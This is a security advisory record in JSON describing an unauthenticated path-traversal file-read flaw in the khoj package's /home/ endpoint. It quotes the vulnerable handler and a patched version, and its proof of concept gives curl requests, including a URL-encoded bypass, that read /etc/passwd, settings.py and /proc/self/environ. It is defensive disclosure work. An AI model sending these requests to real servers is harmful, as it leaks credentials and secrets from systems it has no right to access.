{"id":"GHSA-62mm-xwmv-crhg","title":"khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem","summary":"khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem","severity":"high","vendor":"khoj","product":"khoj","ecosystem":"pip","affected":["khoj >= 2.0.0-beta.23, < 2.0.0-beta.25"],"patched":["khoj 2.0.0-beta.25"],"published":"2026-09-25","updated":"2026-09-25","sourceUpdated":"2026-09-25T23:00:31.263623963Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-62mm-xwmv-crhg","references":[{"url":"https://github.com/khoj-ai/khoj/security/advisories/GHSA-62mm-xwmv-crhg"},{"url":"https://github.com/khoj-ai/khoj/commit/21c51b9ace4eb59ce79ac0a93b917289824195cf"},{"url":"https://github.com/khoj-ai/khoj/commit/9801ffd2de642772f072ca496032b7c352013b6a"},{"url":"https://github.com/khoj-ai/khoj"},{"url":"https://github.com/khoj-ai/khoj/releases/tag/2.0.0-beta.25"},{"url":"https://github.com/advisories/GHSA-62mm-xwmv-crhg"}],"tags":["osv","pip","ghsa"],"cwe":["CWE-22"],"ingestedAt":"2026-09-25T22:20:31.567Z","slug":"GHSA-62mm-xwmv-crhg","body":"## Overview\n\n### Summary\nThe `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem.\n\n### Details\n**Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    \"\"\"Serve static files from the home landing page directory\"\"\"\n    return FileResponse(constants.home_directory / file_path)\n```\n\nWhere `home_directory` is defined in `src/khoj/utils/constants.py` line 6:\n```python\nhome_directory = web_directory / \"home/\"\n```\n\n**What is missing:**\n- No `..` traversal filtering\n- No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`)\n- No authentication decorator (`@requires([\"authenticated\"])` is absent)\n- Starlette's `FileResponse` does NOT perform path traversal protection\n\n**Path resolution:**\n```\nRequest: GET /home/../../../../../../../etc/passwd\nfile_path = \"../../../../../../../etc/passwd\"\nhome_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd\nOS resolves to: /etc/passwd\n```\n\n### PoC\n```bash\n# Read /etc/passwd (no authentication required)\ncurl http://localhost:42110/home/../../../../../../../etc/passwd\n\n# Read application settings (may contain SECRET_KEY, DB credentials)\ncurl http://localhost:42110/home/../../../../settings.py\n\n# Read environment file\ncurl http://localhost:42110/home/../../../../../../../proc/self/environ\n```\n\nURL-encoded variant (may bypass some reverse proxy normalization):\n```bash\ncurl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\n```\n\n### Impact\nUnauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:\n\n- **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys\n- **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ`\n- **Exfiltrate sensitive data** — Any file readable by the server process\n- **Facilitate further attacks** — Leaked credentials enable deeper compromise\n\n**No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.\n\n### Recommended fix\nUse FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    resolved = (constants.home_directory / file_path).resolve()\n    if not resolved.is_relative_to(constants.home_directory.resolve()):\n        raise HTTPException(status_code=404)\n    return FileResponse(resolved)\n```\n\n## Affected packages\n\n- `khoj >= 2.0.0-beta.23, < 2.0.0-beta.25`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `khoj 2.0.0-beta.25`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}